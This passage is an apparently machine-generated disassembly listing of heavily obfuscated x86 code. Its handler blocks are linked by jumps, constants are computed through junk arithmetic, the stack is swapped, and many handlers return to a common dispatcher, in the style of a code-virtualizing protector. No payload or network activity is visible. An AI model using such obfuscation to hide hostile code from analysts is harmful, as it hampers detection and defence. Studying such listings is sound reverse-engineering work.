loc_592411:				; CODE XREF: sub_58A891+1011Dj
		inc	eax
		inc	eax
		jmp	loc_58E638
; ---------------------------------------------------------------------------


loc_592418:				; CODE XREF: sub_58A891+10FD8j
		mov	[esp+30h+var_30], eax
		push	1Ch
		jmp	loc_5956B1
; ---------------------------------------------------------------------------


loc_592425:				; CODE XREF: sub_58A891+E809j
		add	eax, 12B36B6Bh
		pop	edi
		push	dword ptr [edi+eax*4]
		push	ecx
		jmp	loc_5961EF
; ---------------------------------------------------------------------------


loc_592434:				; CODE XREF: sub_58A891+49D8j
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp+28h+var_28]
		jmp	loc_5923D6
; ---------------------------------------------------------------------------


loc_59244E:				; CODE XREF: sub_58A891+8BAAj
		jmp	loc_59A8D3
; ---------------------------------------------------------------------------


loc_592453:				; CODE XREF: sub_58A891+D298j
		mov	ebp, [esp+28h+var_28]
		push	ebp
		jmp	loc_5950C0
; ---------------------------------------------------------------------------


loc_59245C:				; CODE XREF: sub_58A891+4C11j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592461:				; CODE XREF: sub_58A891+82D0j
		pop	edx
		jmp	loc_59A585
; ---------------------------------------------------------------------------


loc_592467:				; CODE XREF: sub_58A891+A23Fj
		push	edx
		jmp	loc_598F57
; ---------------------------------------------------------------------------


loc_59246D:				; CODE XREF: sub_58A891+7B06j
					; sub_58A891+9132j
		xchg	edi, [esp+4+var_4]
		jmp	loc_592361
; ---------------------------------------------------------------------------


loc_592475:				; CODE XREF: sub_58A891+E47Cj
		push	eax
		push	7092A6Eh
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 6DD13660h
		shl	ebx, 3
		shr	ebx, 6
		add	ebx, 0FFFFFFFFh
		push	edx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 51B60D74h
		inc	ebp
		jge	loc_594CCB
		jmp	loc_58E76A
; ---------------------------------------------------------------------------
		mov	[esp+14h+var_14], esi
		mov	esi, 56C07B83h
		neg	esi


loc_5924B8:				; CODE XREF: sub_58A891+B8AEj
		mov	ebp, edx
		pop	edx
		add	eax, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		pop	ecx
		push	esi
		push	5107h
		mov	[esp+10h+var_10], edx
		jmp	loc_595860
; ---------------------------------------------------------------------------


loc_5924D5:				; CODE XREF: sub_58A891+F687j
		pop	edi
		xor	esi, 61923FC8h
		jmp	loc_5956A4
; ---------------------------------------------------------------------------


loc_5924E1:				; CODE XREF: sub_58A891+10139j
		pop	ebp
		jmp	loc_592993
; ---------------------------------------------------------------------------


loc_5924E7:				; CODE XREF: sub_58A891+83E3j
		sub	ecx, 23EF7552h
		add	ecx, edi
		add	ecx, 23EF7552h
		pop	edi
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sar	word ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59250C:				; CODE XREF: sub_58A891+A049j
		mov	esp, [esp+8+var_8]
		rol	byte ptr [esp+8+var_8],	cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592518:				; CODE XREF: sub_58A891+7A71j
		push	ecx
		push	4A3059A8h
		jmp	loc_596AEF
; ---------------------------------------------------------------------------


loc_592523:				; CODE XREF: sub_58A891+B9D3j
		push	ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_59A34A
; ---------------------------------------------------------------------------


loc_592532:				; CODE XREF: sub_58A891+5BCDj
		push	ecx
		jmp	loc_594EA0
; ---------------------------------------------------------------------------


loc_592538:				; CODE XREF: sub_58A891+B367j
		mov	[esp+1Ch+var_1C], edx
		push	esp
		pop	edx
		jmp	loc_58FCF2
; ---------------------------------------------------------------------------


loc_592542:				; CODE XREF: sub_58A891+8F2Aj
		sub	ebp, 4
		jmp	loc_597266
; ---------------------------------------------------------------------------


loc_59254D:				; CODE XREF: sub_58A891+D3E8j
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_58F9DC
; ---------------------------------------------------------------------------


loc_59255B:				; CODE XREF: sub_58A891+402Fj
		or	[edi+1Ch], ebx
		mov	ebx, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59256C:				; CODE XREF: sub_58A891+9D31j
		push	73C1h
		mov	[esp+3Ch+var_3C], ecx
		push	edi
		mov	edi, 3C937AA9h
		mov	ecx, 5F58A7B5h
		jmp	loc_598B5B
; ---------------------------------------------------------------------------


loc_592584:				; CODE XREF: sub_58A891+ADF9j
		push	ecx
		mov	cx, 4A88h
		add	cx, 55C3h
		inc	cx
		inc	cx
		and	cx, 30C0h
		add	cx, 0E23Eh
		add	bx, cx
		pop	ecx
		sub	bx, 1DD8h
		sub	bx, ax
		add	bx, 1DD8h
		sub	bx, 27Eh
		pop	eax
		movzx	eax, ax
		push	ebx
		mov	ebx, esp
		jmp	loc_59625B
; ---------------------------------------------------------------------------


loc_5925BE:				; CODE XREF: sub_58A891+C5C5j
		push	eax
		jmp	loc_597811
; ---------------------------------------------------------------------------


loc_5925C4:				; CODE XREF: sub_58A891+5413j
		pop	edi
		add	edi, 4
		jmp	loc_599A9C
; ---------------------------------------------------------------------------


loc_5925D0:				; CODE XREF: sub_58A891+FA68j
		xor	eax, esi
		pop	esi
		jmp	loc_598A58
; ---------------------------------------------------------------------------


loc_5925D8:				; CODE XREF: sub_58A891+D60Dj
		push	ebp
		mov	ebp, 4C4C5170h
		xor	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 25A83C05h
		push	ecx
		mov	ecx, 7FB745E6h
		shr	ecx, 3
		jmp	loc_59A7C3
; ---------------------------------------------------------------------------


loc_5925F5:				; CODE XREF: sub_58A891+8112j
		mov	[esp+44h+var_44], ecx
		mov	ecx, 46057998h
		and	ecx, 66CE5830h
		sub	ecx, 723D675Ah
		sub	esp, 4
		jmp	loc_590FC5
; ---------------------------------------------------------------------------


loc_592611:				; CODE XREF: sub_58A891+DB97j
		add	al, 3Bh
		push	edx
		jmp	loc_595D9D
; ---------------------------------------------------------------------------


loc_592619:				; CODE XREF: sub_58A891+101C8j
		pop	esp
		jmp	loc_58F193
; ---------------------------------------------------------------------------


loc_59261F:				; CODE XREF: sub_58A891+A3DEj
		inc	ah
		shr	ah, 5
		jnz	loc_597B39
		or	ah, 3Bh
		jmp	loc_5992EE
; ---------------------------------------------------------------------------


loc_592632:				; CODE XREF: sub_58A891+953Fj
		mov	[esp+48h+var_48], edi
		not	[esp+48h+var_48]
		pop	edi
		push	7069h
		mov	[esp+48h+var_48], edx
		mov	edx, 282832A3h
		push	esi
		mov	esi, 1CF86FC4h
		xor	esi, 1914A1Bh
		jmp	loc_592260
; ---------------------------------------------------------------------------


loc_592657:				; CODE XREF: sub_58A891+50CEj
		pop	ecx
		pop	[esp+0Ch+var_C]
		jmp	loc_593225
; ---------------------------------------------------------------------------


loc_592660:				; CODE XREF: sub_58A891+91D3j
		jmp	loc_598438
; ---------------------------------------------------------------------------


loc_592665:				; CODE XREF: sub_58A891+45D0j
		xor	edi, 0EB17897Ah
		add	ebp, edi
		jmp	loc_599489
; ---------------------------------------------------------------------------


loc_592672:				; CODE XREF: sub_58A891+FA6Ej
		push	1
		pop	eax
		jmp	loc_595023
; ---------------------------------------------------------------------------


loc_59267D:				; CODE XREF: sub_58A891+EAFFj
		push	ebp
		mov	ebp, 5F6572A4h
		push	esi
		mov	esi, 14D15420h
		sub	ebp, 203400A6h
		add	ebp, esi
		add	ebp, 203400A6h
		pop	esi
		sub	ebp, 530A4BBh
		jmp	loc_59135E
; ---------------------------------------------------------------------------


loc_5926A3:				; CODE XREF: sub_58A891+888Cj
		pop	ecx
		shl	bh, 2
		shr	bh, 6
		xor	bh, 24h
		add	dl, bh
		pop	ebx
		sub	dl, 53h
		add	al, dl
		mov	edx, [esp+0]
		add	esp, 4
		push	edx
		push	ebx
		push	eax
		mov	al, 0A7h
		not	al
		neg	al
		not	al
		sub	al, 75h
		mov	bh, al
		pop	eax
		add	bh, 1
		not	bh
		inc	bh
		push	eax
		mov	ah, 0DFh
		jmp	loc_58FC15
; ---------------------------------------------------------------------------


loc_5926DA:				; DATA XREF: sub_58A891+3AFFo
		mov	ecx, [esp+8+var_8]
		push	737Ch
		mov	[esp+0Ch+var_C], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_59B937
; ---------------------------------------------------------------------------


loc_5926F5:				; CODE XREF: sub_58A891+3DE3j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+48h+var_48]
		pop	esp
		mov	[esp+44h+var_44], ebp
		pop	eax
		pop	ebp
		push	6F54h
		mov	[esp+40h+var_40], ebp
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 19176EB1h
		inc	esi
		add	esi, 62D547BCh
		dec	esi
		neg	esi
		xor	esi, 3982264Eh
		jmp	loc_5939D5
; ---------------------------------------------------------------------------


loc_592730:				; CODE XREF: sub_58A891+10978j
		push	edx
		jmp	loc_59605C
; ---------------------------------------------------------------------------


loc_592736:				; CODE XREF: sub_58A891+B193j
		add	esp, 4
		sub	esp, 4
		mov	[esp+4Ch+var_4C], esi
		push	ecx
		jmp	loc_58F179
; ---------------------------------------------------------------------------


loc_592748:				; CODE XREF: sub_58A891+BD12j
					; sub_58A891+D5FDj
		pop	eax
		xor	edi, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], edi
		jmp	loc_597CCA
; ---------------------------------------------------------------------------


loc_592754:				; CODE XREF: sub_58A891+5794j
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+20h+var_20]
		pop	esp
		sub	esp, 4
		mov	[esp+20h+var_20], esi
		push	eax
		sub	esp, 4
		mov	[esp+28h+var_28], esp
		add	[esp+28h+var_28], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+24h+var_24]
		pop	esp
		mov	[esp+20h+var_20], ebx
		push	6C11915h
		pop	ebx
		push	66CA84D9h
		pop	esi
		add	esi, 58C63D1Ah
		sub	esi, ebx
		push	ebp
		mov	ebp, 58C63D1Ah
		sub	esi, ebp
		pop	ebp
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		xor	eax, esi
		pop	esi
		push	2E05h
		mov	[esp+1Ch+var_1C], edi
		push	eax
		mov	eax, 6BAF18CFh
		mov	edi, eax
		pop	eax
		sub	edi, 0F548AB4Bh
		jmp	loc_5956C9
; ---------------------------------------------------------------------------


loc_5927D4:				; CODE XREF: sub_58A891+621Fj
		mov	ebp, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		shr	ecx, 2
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_591B2E
; ---------------------------------------------------------------------------


loc_5927EF:				; CODE XREF: sub_58A891+74FBj
		mov	[esp+10h+var_10], esp
		jmp	loc_596D2E
; ---------------------------------------------------------------------------


loc_5927F7:				; CODE XREF: sub_58A891:loc_591903j
		shr	edi, 3
		jmp	loc_59AAE1
; ---------------------------------------------------------------------------


loc_5927FF:				; CODE XREF: sub_58A891+F170j
		push	[esp+48h+var_44]
		pop	ebp
		pop	[esp+48h+var_48]
		jmp	loc_5914B0
; ---------------------------------------------------------------------------


loc_59280C:				; CODE XREF: sub_58A891+DF2Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_591092
; ---------------------------------------------------------------------------


loc_59281A:				; CODE XREF: sub_58A891:loc_590369j
					; sub_58A891+C975j
		inc	esi
		sub	esi, 674F0EE0h
		jmp	loc_599395
; ---------------------------------------------------------------------------


loc_592826:				; CODE XREF: sub_58A891+C927j
		and	ebp, ebx
		jmp	loc_59A4FE
; ---------------------------------------------------------------------------


loc_59282D:				; CODE XREF: sub_58A891+D07Dj
		xchg	edi, [esp+24h+var_24]
		pop	esp
		jmp	loc_58FEB5
; ---------------------------------------------------------------------------


loc_592836:				; CODE XREF: sub_58A891+10B75j
		mov	[esp+20h+var_20], esi
		mov	esi, 7D166C13h
		add	esi, 3D4C6388h
		push	edx
		mov	edx, 1EAD3AC2h
		or	edx, 0F1B327Bh
		shl	edx, 6
		jmp	loc_5971BD
; ---------------------------------------------------------------------------


loc_592858:				; CODE XREF: sub_58A891+C66Bj
		add	ebx, 5DE42CCDh
		xor	ebx, 2CE50E58h
		shr	ebx, 8
		xor	ebx, 7110C7h
		jmp	loc_594B20
; ---------------------------------------------------------------------------


loc_592872:				; CODE XREF: sub_58A891+491Aj
		pop	bx
		xor	bh, ch
		pop	ecx
		jmp	loc_591669
; ---------------------------------------------------------------------------


loc_59287C:				; CODE XREF: sub_58A891+6843j
		shl	edi, 1
		shl	edi, 1
		jmp	loc_59A972
; ---------------------------------------------------------------------------


loc_592885:				; CODE XREF: sub_58A891+C39Bj
		push	eax
		jmp	loc_5989D9
; ---------------------------------------------------------------------------


loc_59288B:				; CODE XREF: sub_58A891+CF83j
		push	2BC8h
		mov	[esp+58h+var_58], esi
		mov	esi, 2CB124C2h
		jmp	loc_597870
; ---------------------------------------------------------------------------


loc_59289D:				; CODE XREF: sub_58A891+5AD3j
		add	eax, 68AB76A9h
		pop	esi
		jmp	loc_5919B1
; ---------------------------------------------------------------------------


loc_5928A8:				; CODE XREF: sub_58A891+80DDj
					; sub_58A891+B5CDj
		mov	bh, 52h
		mov	cl, bh
		pop	ebx
		jmp	loc_5916F8
; ---------------------------------------------------------------------------


loc_5928B2:				; CODE XREF: sub_58A891+101B6j
		add	[esp+1Ch+var_18], edx
		push	edi
		mov	edi, 4DD812A9h
		jmp	loc_598E83
; ---------------------------------------------------------------------------


loc_5928C1:				; CODE XREF: sub_58A891+E2BFj
		and	esi, ebx
		jmp	loc_5995BF
; ---------------------------------------------------------------------------


loc_5928C8:				; CODE XREF: sub_58A891+5E45j
		mov	eax, 51FB4D46h
		jmp	loc_59B8E2
; ---------------------------------------------------------------------------


loc_5928D2:				; CODE XREF: sub_58A891+4ADEj
		mov	[esp+2Ch+var_2C], esp
		add	[esp+2Ch+var_2C], 4
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_595E03
; ---------------------------------------------------------------------------


loc_5928E5:				; CODE XREF: sub_58A891:loc_596CBCj
		xor	eax, 310D3C27h
		ja	loc_590350
		sub	eax, 5F90D127h
		mov	esi, eax
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		push	ebp


loc_5928FE:				; CODE XREF: sub_58A891+9FD4j
		push	eax
		mov	ah, 91h
		xor	dl, ah
		pop	eax
		xor	dl, 5Fh
		add	dl, 0DDh
		add	dl, 45h
		jmp	loc_590B82
; ---------------------------------------------------------------------------


loc_592912:				; CODE XREF: sub_58A891+F811j
		mov	esp, [esp+2Ch+var_2C]
		shl	word ptr [esp+2Ch+var_2C], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59291F:				; CODE XREF: sub_58A891+61A9j
		xor	ebx, 0D26AB1BBh
		sub	eax, ebx
		pop	ebx
		pop	ecx
		jmp	loc_599DAB
; ---------------------------------------------------------------------------


loc_59292E:				; CODE XREF: sub_58A891+C320j
		pop	edi
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		add	edx, 4
		push	edi
		push	ecx
		mov	ecx, 30352D6Ah
		jmp	loc_59AF7F
; ---------------------------------------------------------------------------


loc_592947:				; DATA XREF: sub_58A891+3AB7o
		mov	ecx, [esp+8+var_8]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	5002h
		mov	[esp+10h+var_10], ebx
		jmp	loc_5965D2
; ---------------------------------------------------------------------------


loc_592960:				; DATA XREF: sub_58A891+3A13o
		push	edx
		jmp	loc_597C13
; ---------------------------------------------------------------------------


loc_592966:				; CODE XREF: sub_58A891+54CEj
		add	esp, 4
		push	dx
		push	eax
		push	ecx
		push	ebx
		jmp	loc_5928A8
; ---------------------------------------------------------------------------


loc_592973:				; CODE XREF: sub_58A891+A2F0j
		push	5B9Ch
		mov	[esp+3Eh+var_40+2], edx
		push	[esp+3Eh+var_3C+2]
		jmp	loc_59749F
; ---------------------------------------------------------------------------


loc_592984:				; CODE XREF: sub_58A891+73FEj
		add	eax, ebp
		push	2282h
		mov	[esp+18h+var_18], ebp
		jmp	loc_593FAD
; ---------------------------------------------------------------------------


loc_592993:				; CODE XREF: sub_58A891+7C51j
		push	eax
		jmp	loc_59B63A
; ---------------------------------------------------------------------------


loc_592999:				; CODE XREF: sub_58A891+B2F9j
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		push	55B6h
		jmp	loc_5925F5
; ---------------------------------------------------------------------------


loc_5929A8:				; CODE XREF: sub_58A891+10279j
		dec	ecx
		and	ecx, 1B143A04h
		jmp	loc_58FF0B
; ---------------------------------------------------------------------------


loc_5929B4:				; CODE XREF: sub_58A891+C412j
		pop	eax
		jmp	loc_592C79
; ---------------------------------------------------------------------------


loc_5929BA:				; DATA XREF: sub_58A891+3B6Fo
		lodsd
		sub	esp, 4
		jmp	loc_590C9C
; ---------------------------------------------------------------------------


loc_5929C6:				; CODE XREF: sub_58A891+BD84j
					; sub_58A891+ED50j
		pop	eax
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5929D5:				; CODE XREF: sub_58A891+740Aj
		sub	[esp+28h+var_28], edx
		jmp	loc_595F3C
; ---------------------------------------------------------------------------


loc_5929DD:				; CODE XREF: sub_58A891+EFE1j
		or	eax, eax
		jz	loc_592B29
		push	dword ptr [edi+28h]
		push	299h
		mov	[esp+30h+var_30], ebp
		push	edi
		mov	edi, 1A7B6A19h
		jmp	loc_590004
; ---------------------------------------------------------------------------


loc_5929FB:				; CODE XREF: sub_58A891+6C75j
		pop	ebx
		pop	ecx


loc_5929FD:				; CODE XREF: sub_58A891+11334j
		push	2379h
		mov	[esp+38h+var_38], ebp
		push	821h
		mov	[esp+3Ch+var_3C], esp
		jmp	loc_58F25F
; ---------------------------------------------------------------------------


loc_592A12:				; CODE XREF: sub_58A891+E6A6j
		xor	eax, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		push	ecx
		jmp	loc_5912B4
; ---------------------------------------------------------------------------


loc_592A1E:				; DATA XREF: sub_58A891+3A87o
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		jmp	loc_59B9D4
; ---------------------------------------------------------------------------


loc_592A28:				; CODE XREF: sub_58A891+DAD1j
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		jmp	loc_594516
; ---------------------------------------------------------------------------


loc_592A4A:				; CODE XREF: sub_58A891+8449j
		push	13D30958h
		pop	edi
		sub	edi, 0BB9DEE1Ah
		add	ebx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		sub	ebx, esi
		sub	ebx, 58351B3Eh
		jmp	loc_592FE5
; ---------------------------------------------------------------------------


loc_592A6B:				; CODE XREF: sub_58A891+4873j
					; sub_58A891+82AAj ...
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], eax
		jmp	loc_599EF4
; ---------------------------------------------------------------------------


loc_592A85:				; CODE XREF: sub_58A891+62FDj
		js	loc_59310F
		and	cl, 0A3h
		jg	loc_590D71
		push	ebx


loc_592A95:				; CODE XREF: sub_58A891+A2C5j
		push	50A0569h
		jmp	loc_598AF3
; ---------------------------------------------------------------------------


loc_592A9F:				; CODE XREF: sub_58A891+CA63j
		add	eax, ebp
		pop	ebp
		jmp	loc_59B832
; ---------------------------------------------------------------------------


loc_592AA7:				; CODE XREF: sub_58A891+AB8Fj
		and	edx, 553905AAh
		js	loc_5978A2
		or	edx, 691C3C96h
		jnp	loc_599C7F
		dec	edx
		jmp	loc_5974F1
; ---------------------------------------------------------------------------
		mov	ch, al
		mov	edi, ebp


loc_592AC9:				; CODE XREF: sub_58A891+855Aj
		xor	ebp, esi
		pop	esi
		mov	ebx, ebp
		jmp	loc_58E8BF
; ---------------------------------------------------------------------------


loc_592AD3:				; CODE XREF: sub_58A891+F1BBj
		push	ecx
		jmp	loc_596D19
; ---------------------------------------------------------------------------


loc_592AD9:				; CODE XREF: sub_58A891+C033j
		mov	ebp, 7FC500E2h
		mov	edx, 7FC500E6h
		xor	edx, ebp
		pop	ebp
		jmp	loc_58FBCF
; ---------------------------------------------------------------------------


loc_592AEB:				; CODE XREF: sub_58A891+4210j
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_59951E
; ---------------------------------------------------------------------------


loc_592AF9:				; DATA XREF: sub_58A891+399Bo
		lodsb
		xor	al, bl
		push	edx
		push	69A2h
		mov	[esp+10h+var_10], ecx
		push	2A74h
		mov	[esp+14h+var_14], ebx
		mov	bh, 3Ah
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		jmp	loc_5971CE
; ---------------------------------------------------------------------------


loc_592B1D:				; CODE XREF: sub_58A891+FA3Ej
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+14h+var_14]
		pop	esp


loc_592B29:				; CODE XREF: sub_58A891+666Fj
					; sub_58A891+814Ej
		push	dword ptr [edi+24h]
		jmp	loc_595100
; ---------------------------------------------------------------------------


loc_592B31:				; CODE XREF: sub_58A891+512Cj
		add	ebp, 4
		add	ebp, 2
		push	esi
		jmp	loc_592A6B
; ---------------------------------------------------------------------------


loc_592B40:				; CODE XREF: sub_58A891+7A55j
		add	esp, 4
		jmp	loc_5963D4
; ---------------------------------------------------------------------------


loc_592B48:				; CODE XREF: sub_58A891+9F76j
		mov	[esp-0Ch+arg_4], edi
		pop	ebx
		mov	edi, [esp+0]
		add	esp, 4
		add	edx, ebx
		mov	ebx, [esp-14h+arg_A+2]
		jmp	loc_594D9B
; ---------------------------------------------------------------------------


loc_592B5F:				; CODE XREF: sub_58A891+A8E0j
		sub	ah, dl
		jmp	loc_592461
; ---------------------------------------------------------------------------


loc_592B66:				; CODE XREF: sub_58A891+6429j
		mov	[esp+48h+var_48], edi
		mov	edi, 372F719Dh
		jmp	loc_5972CD
; ---------------------------------------------------------------------------


loc_592B73:				; CODE XREF: sub_58A891+AE94j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+48h+var_48]
		pop	esp
		sub	edx, 6D2E684Ch
		jg	loc_58FB8C
		jmp	loc_59A845
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 3C3A2EDFh
		mov	bh, ch


loc_592B99:				; CODE XREF: sub_58A891+10397j
		sub	edx, eax
		pop	eax
		and	edx, 61144CD6h
		shl	edx, 1
		xor	edx, 70FD551h
		jmp	loc_590E76
; ---------------------------------------------------------------------------


loc_592BAF:				; CODE XREF: sub_58A891+7611j
		push	7F9Ah
		mov	[esp+50h+var_50], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592BBE:				; CODE XREF: sub_58A891+4E3Ej
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5936D4
; ---------------------------------------------------------------------------


loc_592BCD:				; CODE XREF: sub_58A891+A752j
		mov	ebp, 4
		jmp	loc_599E60
; ---------------------------------------------------------------------------


loc_592BD7:				; CODE XREF: sub_58A891+104A4j
		add	ebp, 34123FDCh
		jmp	loc_5951E6
; ---------------------------------------------------------------------------


loc_592BE2:				; CODE XREF: sub_58A891+ED86j
		add	esp, 4
		pop	[esp+48h+var_48]
		jmp	loc_58E66A
; ---------------------------------------------------------------------------


loc_592BF0:				; CODE XREF: sub_58A891+B50Ej
		add	al, dl
		pop	edx
		sub	al, bl
		push	ecx
		push	edx
		mov	dh, 54h
		push	ebx
		mov	bh, 21h
		sub	bh, 58h
		mov	ch, bh
		jmp	loc_59131C
; ---------------------------------------------------------------------------


loc_592C06:				; CODE XREF: sub_58A891+3C87j
		sub	al, dh
		pop	dx
		jmp	loc_58F1CA
; ---------------------------------------------------------------------------


loc_592C0F:				; CODE XREF: sub_58A891+9385j
		push	esi
		jmp	loc_59775F
; ---------------------------------------------------------------------------


loc_592C15:				; CODE XREF: sub_58A891+1118Ej
		mov	edx, 121E6BC3h
		xor	edx, ecx
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_5988CC
; ---------------------------------------------------------------------------


loc_592C2A:				; CODE XREF: sub_58A891+D22Bj
		mov	esi, 3C8F4DE6h
		jmp	loc_590644
; ---------------------------------------------------------------------------


loc_592C34:				; CODE XREF: sub_58A891+9C76j
		mov	esp, [esp+2Ch+var_2C]
		mov	fs:[edx], al
		jmp	loc_59830F
; ---------------------------------------------------------------------------


loc_592C3F:				; CODE XREF: sub_58A891+10614j
		and	edi, 78735AC3h
		not	edi
		sub	edi, 0B0DA94D3h
		add	ebx, 5F8B4E53h
		jmp	loc_59826E
; ---------------------------------------------------------------------------


loc_592C58:				; CODE XREF: sub_58A891+AFCAj
		add	edi, 1FA7544Bh
		jmp	loc_5934CA
; ---------------------------------------------------------------------------


loc_592C63:				; CODE XREF: sub_58A891+D368j
		xchg	eax, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_58ED59
; ---------------------------------------------------------------------------


loc_592C6C:				; CODE XREF: sub_58A891+539Fj
		mov	[esp+48h+var_48], edi
		mov	edi, 2
		jmp	loc_5924E7
; ---------------------------------------------------------------------------


loc_592C79:				; CODE XREF: sub_58A891+8124j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		neg	ch
		sub	esp, 4
		jmp	loc_593CCF
; ---------------------------------------------------------------------------


loc_592C8C:				; CODE XREF: sub_58A891+CC11j
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	ebx
		mov	ebx, 548652A8h
		sub	[esp+8+var_4], ebx
		jmp	loc_59618C
; ---------------------------------------------------------------------------


loc_592CA4:				; CODE XREF: sub_58A891+B387j
		mov	ebp, esp
		jmp	loc_59129F
; ---------------------------------------------------------------------------


loc_592CAB:				; CODE XREF: sub_58A891+E857j
		mov	edi, 4856674h
		neg	edi
		jmp	loc_591F2F
; ---------------------------------------------------------------------------


loc_592CB7:				; CODE XREF: sub_58A891+909Cj
		xor	ebp, [esp+8+var_8]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592CC3:				; CODE XREF: sub_58A891+68DFj
		pop	esi
		jmp	loc_591926
; ---------------------------------------------------------------------------


loc_592CC9:				; CODE XREF: sub_58A891+5BE7j
					; sub_58A891+F780j
		sub	edi, 652406EBh
		push	edi
		pop	ecx
		pop	edi
		jmp	loc_59461E
; ---------------------------------------------------------------------------


loc_592CD7:				; CODE XREF: sub_58A891+63F2j
		mov	[esp+44h+var_44], edi
		jmp	loc_592A4A
; ---------------------------------------------------------------------------


loc_592CDF:				; DATA XREF: sub_58A891+3ABFo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	eax
		jmp	loc_59A7E7
; ---------------------------------------------------------------------------


loc_592CEB:				; CODE XREF: sub_58A891+6909j
		push	ecx
		push	[esp+4Ch+var_48]
		pop	ecx
		pop	[esp+4Ch+var_4C]
		jmp	loc_593FF2
; ---------------------------------------------------------------------------


loc_592CF9:				; CODE XREF: sub_58A891:loc_590B2Aj
					; sub_58A891+9BC2j ...
		mov	eax, esp
		jmp	loc_58F9F6
; ---------------------------------------------------------------------------


loc_592D00:				; CODE XREF: sub_58A891+AF39j
		add	esp, 4
		add	ebx, 12A03CD4h
		pop	edi
		add	esi, ebx
		jmp	loc_59A907
; ---------------------------------------------------------------------------


loc_592D11:				; CODE XREF: sub_58A891+BAE7j
		add	edi, ebx
		add	edi, 464E786Bh
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	esi
		push	edx
		push	629A4BA2h
		jmp	loc_590C24
; ---------------------------------------------------------------------------


loc_592D2E:				; CODE XREF: sub_58A891+CC55j
		push	0FD2h
		jmp	loc_59A79E
; ---------------------------------------------------------------------------


loc_592D38:				; CODE XREF: sub_58A891+CE24j
		push	ebp
		push	[esp+1Ch+var_18]
		pop	ebp
		pop	[esp+1Ch+var_1C]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 2000000h
		mov	edi, edx
		pop	edx
		and	eax, edi
		push	[esp+18h+var_18]
		jmp	loc_595CA6
; ---------------------------------------------------------------------------


loc_592D63:				; CODE XREF: sub_58A891+72C0j
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 30A55F5Eh
		or	esi, 6E985DCDh
		jnz	loc_590369
		jmp	loc_59AD9A
; ---------------------------------------------------------------------------
		add	edi, eax
		jmp	loc_58E62A
; ---------------------------------------------------------------------------


loc_592D84:				; DATA XREF: sub_58A891+39FFo
		mov	cx, word ptr [esp+8+var_8]
		push	1DD2h
		mov	[esp+0Ch+var_C], edi
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	edi
		push	ecx
		jmp	loc_599C0B
; ---------------------------------------------------------------------------


loc_592DA4:				; CODE XREF: sub_58A891+1116Dj
		mov	ebp, 5BB85C21h
